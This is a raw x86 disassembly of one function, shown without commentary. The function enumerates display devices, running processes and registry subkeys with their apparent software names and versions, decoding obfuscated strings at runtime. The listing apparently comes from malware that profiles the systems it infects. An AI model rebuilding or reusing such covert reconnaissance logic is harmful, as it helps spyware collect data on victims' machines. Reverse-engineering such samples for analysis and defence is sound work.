mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x744]
push 0x1a4
push 0
push eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x748], 0x1a8
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x748]
push 1
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x40e53d
nop dword [eax + eax]
mov esi, dword [ebp - 0xbc]
xor ecx, ecx
mov edi, dword [ebp - 0xc0]
mov eax, 0x2aaaaaab
mov dword [ebp - 0x2c], ecx
mov ecx, esi
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40e3bc
xor edi, edi
jmp 0x40e2c3
mov edi, dword [ebp - 0x54]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e2e1
sub ecx, edx
lea eax, [ebp - 0x724]
push ecx
push eax
lea ecx, [ebp - 0x44]
call fcn.00402aa0
mov byte [ebp - 4], 0x17
lea edx, [ebp - 0x44]
mov ecx, dword [ebp - 0xc0]
add ecx, edi
cmp dword [ebp - 0x30], 0x10
cmovae edx, dword [ebp - 0x44]
cmp dword [ecx + 0x14], 0x10
mov esi, dword [ecx + 0x10]
jb 0x40e31c
mov ecx, dword [ecx]
cmp esi, dword [ebp - 0x34]
jne 0x40e36f
sub esi, 4
jb 0x40e337
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40e33c
add ecx, 4
add edx, 4
sub esi, 4
jae 0x40e326
cmp esi, 0xfffffffc
je 0x40e369
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x40e36f
cmp esi, 0xfffffffd
je 0x40e369
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x40e36f
cmp esi, 0xfffffffe
je 0x40e369
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x40e36f
cmp esi, 0xffffffff
je 0x40e369
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x40e36f
mov byte [ebp - 0x25], 1
jmp 0x40e373
mov byte [ebp - 0x25], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x44]
call fcn.00402890
cmp byte [ebp - 0x25], 0
jne 0x40e4f6
mov esi, dword [ebp - 0xbc]
add edi, 0x18
inc dword [ebp - 0x2c]
mov ecx, esi
mov dword [ebp - 0x54], edi
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xc0]
sub ecx, edi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x2c], eax
jb 0x40e2c0
movaps xmm0, xmmword [0x527ed0]
sub esi, edi
mov eax, 0x2aaaaaab
mov word [ebp - 0x5b], 0xd5ac
imul esi
movups xmmword [ebp - 0x6b], xmm0
mov byte [ebp - 0x59], 0
sar edx, 2
mov esi, edx
shr esi, 0x1f
add esi, edx
xor ecx, ecx
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x6b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x6b], al
inc ecx
cmp ecx, 0x12
jb 0x40e3f0
mov edi, dword [ebp - 0xb0]
lea eax, [ebp - 0x724]
push eax
push esi
lea eax, [ebp - 0x6b]
push eax
push edi
call fcn.00402d70
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x724]
mov dword [ebp - 0x10], 0
add esp, 0x10
lea edx, [ecx + 1]
movups xmmword [ebp - 0x24], xmm0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e440
sub ecx, edx
lea eax, [ebp - 0x724]
push ecx
push eax
lea ecx, [ebp - 0x24]
call fcn.00402aa0
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0xb8]
je 0x40e498
movups xmm0, xmmword [ebp - 0x24]
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x14]
movq qword [eax + 0x10], xmm0
mov eax, 0xf
mov dword [ebp - 0x10], eax
add dword [ebp - 0xbc], 0x18
mov dword [ebp - 0x14], 0
mov byte [ebp - 0x24], 0
jmp 0x40e4ab
lea ecx, [ebp - 0x24]
push ecx
push eax
lea ecx, [ebp - 0xc0]
call fcn.0046d2d0
mov eax, dword [ebp - 0x10]
mov byte [ebp - 4], 0x16
cmp eax, 0x10
jb 0x40e4e2
mov edx, dword [ebp - 0x24]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x40e4d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ea4e
push ecx
push edx
call fcn.004bafb1
add esp, 8
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
jmp 0x40e4fc
mov edi, dword [ebp - 0xb0]
mov esi, dword [ebp - 0x48]
lea eax, [ebp - 0x744]
push 0x1a4
push 0
inc esi
mov dword [ebp - 0x748], 0x1a8
push eax
mov dword [ebp - 0x48], esi
call fcn.004d31f0
add esp, 0xc
lea eax, [ebp - 0x748]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x40e290
mov dword [ebp - 0x1a], 0xad8f84d5
xor ecx, ecx
mov dword [ebp - 0x16], 0xacbabcb0
mov dword [ebp - 0x12], 0x82acbaac
mov word [ebp - 0xe], 0xd5
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40e560
lea eax, [ebp - 0x1a]
push eax
push edi
call fcn.00402d70
add esp, 8
mov dword [ebp - 0x4d0], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40e62c
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40e625
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x40e625
nop dword [eax]
nop dword [eax + eax]
mov dword [ebp - 0x58], 0x84ffacfa
xor ecx, ecx
mov dword [ebp - 0x54], 0xd582bbfa
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp + ecx - 0x58]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 8
jb 0x40e5e4
push dword [ebp - 0x4c8]
lea eax, [ebp - 0x4ac]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
call fcn.00402d70
add esp, 0x10
lea eax, [ebp - 0x4d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x40e5d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19], 0xb08c84d5
xor ecx, ecx
mov dword [ebp - 0x15], 0xbea8abb9
mov dword [ebp - 0x11], 0xd582baad
mov byte [ebp - 0xd], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 0xc
jb 0x40e650
lea eax, [ebp - 0x19]
push eax
push edi
call fcn.00402d70
movaps xmm0, xmmword [0x527740]
add esp, 8
movups xmmword [ebp - 0xac], xmm0
xor ecx, ecx
mov dword [ebp - 0x7c], 0xb3b3be
movaps xmm0, xmmword [0x527ae0]
movups xmmword [ebp - 0x9c], xmm0
movaps xmm0, xmmword [0x527440]
movups xmmword [ebp - 0x8c], xmm0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xac]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0xac], al
inc ecx
cmp ecx, 0x33
jb 0x40e6b0
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0
push eax
push 0x20019
push 0
lea eax, [ebp - 0xac]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e8d1
xor esi, esi
nop
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x400
push eax
lea eax, [ebp - 0x9a0]
push eax
push esi
push dword [ebp - 0xcc]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0x78], eax
test eax, eax
jne 0x40e8bc
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov dword [ebp - 0x55], 0xfa83acfa
mov word [ebp - 0x51], 0xac
movzx eax, byte [ebp + ecx - 0x55]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 5
jb 0x40e744
lea eax, [ebp - 0x9a0]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x55]
push eax
lea eax, [ebp - 0x16ac]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x48]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x16ac]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e8b9
mov dword [ebp - 0xb0], 0xf003f
xor ecx, ecx
mov dword [ebp - 0x2c], 0x400
mov dword [ebp - 0x18], 0xafacb69b
mov dword [ebp - 0x14], 0x91a6beb3
mov dword [ebp - 0x10], 0xbab2be
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xb
jb 0x40e7d0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1eac]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e8b0
mov dword [ebp - 0x67], 0xafacb69b
xor ecx, ecx
mov dword [ebp - 0x63], 0x89a6beb3
mov dword [ebp - 0x5f], 0xb6acadba
mov word [ebp - 0x5b], 0xb1b0
mov byte [ebp - 0x59], al
nop
movzx eax, byte [ebp + ecx - 0x67]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x67], al
inc ecx
cmp ecx, 0xe
jb 0x40e830
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1aac]
push eax
lea eax, [ebp - 0xb0]
push eax
push 0
lea eax, [ebp - 0x67]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e8b0
mov dword [ebp - 0x35], 0x84ffacfa
xor ecx, ecx
mov dword [ebp - 0x31], 0xd582acfa
mov byte [ebp - 0x2d], al
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x35]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 8
jb 0x40e880
lea eax, [ebp - 0x1aac]
push eax
lea eax, [ebp - 0x1eac]
push eax
lea eax, [ebp - 0x35]
push eax
push edi
call fcn.00402d70
add esp, 0x10
push dword [ebp - 0x48]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x78]
inc esi
test eax, eax
je 0x40e700
push dword [ebp - 0xcc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.004da8ee
add esp, 4
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xc0]
call fcn.00461d40
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x160]
call fcn.00402890
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xec]
call fcn.00402890
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x104]
call fcn.00402890
sub esp, 0x18
mov byte [ebp - 0x25], 1
mov dword [ebp - 0xb4], esp
lea eax, [ebp - 0x148]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd4], esp
push eax
call fcn.0045fe50
mov byte [ebp - 4], 0x19
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.0040b4d0
add esp, 0x18
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x178]
mov dl, byte [ebp - 0x25]
call fcn.0040ca40
add esp, 0x18
mov byte [ebp - 4], 0x1b
xor ecx, ecx
mov word [ebp - 0x4b], 0xbda8
mov byte [ebp - 0x49], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x4b]
push eax
call fcn.00461130
mov byte [ebp + ecx - 0x4b], al
inc ecx
cmp ecx, 2
jb 0x40e980
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x4b]
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push ecx
push eax
call fcn.004d7060
mov esi, eax
add esp, 8
test esi, esi
je 0x40e9e8
cmp dword [ebp - 0x164], 0x10
lea ecx, [ebp - 0x178]
push esi
push dword [ebp - 0x168]
cmovae ecx, dword [ebp - 0x178]
push 1
push ecx
call fcn.004dee69
push esi
call fcn.004da8ee
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x178]
call fcn.00402890
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x148]
call fcn.00402890
mov byte [ebp - 4], 2
lea ecx, [ebp + 8]
call fcn.00402890
mov byte [ebp - 4], 1
lea ecx, [ebp + 0x20]
call fcn.00402890
mov byte [ebp - 4], 0
lea ecx, [ebp + 0x38]
call fcn.00402890
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x50]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00402210
call fcn.004d64b0
int3